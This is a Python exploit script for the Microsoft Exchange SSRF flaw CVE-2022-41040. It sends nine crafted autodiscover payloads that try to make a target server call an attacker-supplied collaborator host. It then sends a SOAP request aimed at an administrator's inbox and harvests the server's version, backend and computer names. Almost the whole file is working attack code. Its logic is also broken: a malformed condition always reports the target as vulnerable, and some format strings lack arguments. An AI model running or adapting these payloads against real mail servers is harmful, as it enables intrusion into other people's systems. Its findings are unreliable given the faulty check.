CVE-2022-41040.py

#!/usr/bin/python3
# Exchange Server SSRF Vulnerability
import requests
import re
import argparse
import warnings; warnings.filterwarnings('ignore', message='Unverified HTTPS request')


parser = argparse.ArgumentParser(description="[*] CVE-2022-41040 : Exchange Server SSRF Vulnerability")
parser.add_argument('-u', required=False, default=None, help='URL of the target site.')
parser.add_argument('-c', required=False, default=None, help='Collabrator client.')
args = vars(parser.parse_args())
url = args['u']
collabrator = args['c']

print('\n     [#] CVE-2022-41040 : Exchange Server SSRF Vulnerability\n     [#] Coded by @infosec_90')
print('\n     [#] Video :  7 month ago on outlook.com exploit https://www.youtube.com/watch?v=rXx8_GMsZUA \n')

if (url == None or collabrator == None):
    exit('\n    [!] Usage: python3 SSRF_Exchange.py -u https://mail.example.com -c example.burpcollaborator.net')
else:
    print('     [*] You set target to {}'.format(url))
    host = url.split("//")[-1].split("/")[0].split('?')[0]
    
def checker(url, collabrator):
    vulnerable = False



    headers = {
        'Host': '{}'.format(host),
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 pp9520',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close'
    }
    response = requests.get('{}/autodiscover/autodiscover.json/v1.0/aa@{}?Protocol=Autodiscoverv1'.format(url,collabrator), headers=headers, verify=False)
    payload2 = requests.get('{}/autodiscover/autodiscover.json/v1.0/aa..{}/owa/?&Email=autodiscover/autodiscover.json?a..{}&Protocol=Autodiscoverv1&Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload3 = requests.get('{}/autodiscover/autodiscover.json/v1.0/aa@{}/owa/?&Email=autodiscover/autodiscover.json?a@{}&Protocol=Autodiscoverv1&Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload4 = requests.get('{}/autodiscover/autodiscover.json?aa..{}/owa/?&Email=autodiscover/autodiscover.json?a..{}&Protocol=Autodiscoverv1&{}Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload5 = requests.get('{}/autodiscover/autodiscover.json?aa@{}/owa/?&Email=autodiscover/autodiscover.json?a@{}&Protocol=Autodiscoverv1&{}Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload6 = requests.get('{}/autodiscover/autodiscover.json?aa..{}/owa/?&Email=aa@autodiscover/autodiscover.json?a..{}&Protocol=Autodiscoverv1&{}Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload7 = requests.get('{}/autodiscover/autodiscover.json?aa@{}/owa/?&Email=aa@autodiscover/autodiscover.json?a@{}&Protocol=Autodiscoverv1&{}Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload8 = requests.get('{}/autodiscover/autodiscover.json?aa..{}/owa/?&Email=aa@autodiscover/autodiscover.json?a..{}&Protocol=Autodiscoverv1&{}Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    payload9 = requests.get('{}/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@{}&Protocol=Autodiscoverv1&Protocol=Powershell'.format(url,collabrator), headers=headers, verify=False)
    
    try:
        if(collabrator in response.headers or response.status_code==200,302):
            print('     [#] This site is vulnerable to SSRF Check your collabrator client.')
            vulnerable = True
            return vulnerable
        else:
            print('     [*] It seems not vulnerable, but check your collabrator client!')
    except:
        print('[!] Nothing returned')
        
def getInfo(url, host):

    headers = {
        'Host': '{}'.format(host),
        'Content-Type': 'text/xml',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
    }

    data = '<?xml version=\'1.0\' encoding=\'utf-8\'?>\\x0d\\x0a <soap:Envelope\\x0d\\x0a xmlns:soap=\'http://schemas.xmlsoap.org/soap/envelope/\'\\x0d\\x0a xmlns:t=\'http://schemas.microsoft.com/exchange/services/2006/types\'\\x0d\\x0a xmlns:m=\'http://schemas.microsoft.com/exchange/services/2006/messages\'\\x0d\\x0a xmlns:xsi=\'http://www.w3.org/2001/XMLSchema-instance\'>\\x0d\\x0a <soap:Header>\\x0d\\x0a <t:RequestServerVersion Version=\\"Exchange2016\\" />\\x0d\\x0a </soap:Header>\\x0d\\x0a <soap:Body>\\x0d\\x0a <m:FindItem Traversal=\'Shallow\'>\\x0d\\x0a <m:ItemShape>\\x0d\\x0a <t:BaseShape>AllProperties</t:BaseShape>\\x0d\\x0a </m:ItemShape>\\x0d\\x0a <m:ParentFolderIds>\\x0d\\x0a <t:DistinguishedFolderId Id=\'inbox\'>\\x0d\\x0a <t:Mailbox>\\x0d\\x0a <t:EmailAddress>administrator@example.local</t:EmailAddress>\\x0d\\x0a </t:Mailbox>\\x0d\\x0a </t:DistinguishedFolderId>\\x0d\\x0a </m:ParentFolderIds>\\x0d\\x0a </m:FindItem>\\x0d\\x0a </soap:Body>\\x0d\\x0a </soap:Envelope>'

    response = requests.post('{}/mapi/nspi'.format(url), headers=headers, data=data, verify=False)
    computerName = response.headers['X-FEServer']
    backendname  = response.headers['X-CalculatedBETarget']
    Application  = response.headers['X-ServerApplication'].split('Exchange/')[1]
    print('     [#] Get some info about your target...')
    print('     [#] Version name: {}'.format(Application))
    print('     [#] Backend name: {}'.format(backendname))
    print('     [#] Computer name: {}'.format(computerName))

def main():
    try:
        check = checker(url, collabrator)
        if(check):
            getInfo(url, host)
    except KeyboardInterrupt:
        exit('[!] Quitting!')

if __name__ == '__main__':
    main()